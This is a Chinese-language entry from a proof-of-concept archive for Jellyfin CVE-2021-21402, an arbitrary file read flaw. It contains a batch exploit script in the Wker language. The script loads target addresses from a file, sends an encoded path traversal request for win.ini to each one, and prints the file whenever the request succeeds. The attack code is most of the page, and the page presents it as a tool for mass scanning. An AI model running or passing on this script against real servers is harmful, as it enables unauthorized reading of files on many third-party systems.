关联漏洞
标题:
Jellyfin 路径遍历漏洞
(CVE-2021-21402)
描述:Jellyfin是一个免费软件媒体系统。可让您控制媒体的管理和流式传输。它是专有Emby和Plex的替代产品,可以通过多个应用程序将专用服务器中的媒体提供给最终用户设备。 Jellyfin before version 10.7.1存在安全漏洞,该漏洞源于精心制作的请求将允许从Jellyfin服务器的文件系统读取任意文件。
描述
CVE-2021-21402 Jellyfin任意文件读取 Wker脚本,可批量。
介绍
# CVE-2021-21402
CVE-2021-21402 Jellyfin任意文件读取 Wker脚本,可批量。
逻辑很简单,就是通过GET访问win.ini存在与否:
```
#define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
#define info = CVE-2021-21402 Jellyfin任意文件读取
function main(args){
dirs = StrSplit(ReadFile("script\CVE漏洞\CVE-2021\CVE-2021-21402 Jellyfin任意文件读取\ip.txt"),StrRN());
num = GetArrayNum(dirs);
i = 0;
while(i<num){
try{
res = HttpGet(dirs[ToInt(i)].payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
if(StrFindStr(res[1],"200",0) != "-1"){
printclolor(dirs[ToInt(i)]." [+]存在".info.",正在读取win.ini文件",3);
print(res[0]);
}else{
printclolor(dirs[ToInt(i)]." [-]不存在".info,2);
}
}catch{
printclolor(dirs[ToInt(i)]." [-]目标异常!",5);
}
i = ToInt(i+1);
}
}
```
## 截图

文件快照
[4.0K] /data/pocs/b642b0326869b6c984394e25fe04403dc5174d5e
├── [ 791] CVE-2021-21402 Jellyfin任意文件读取.wker
├── [ 975] README.md
└── [204K] re.png
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。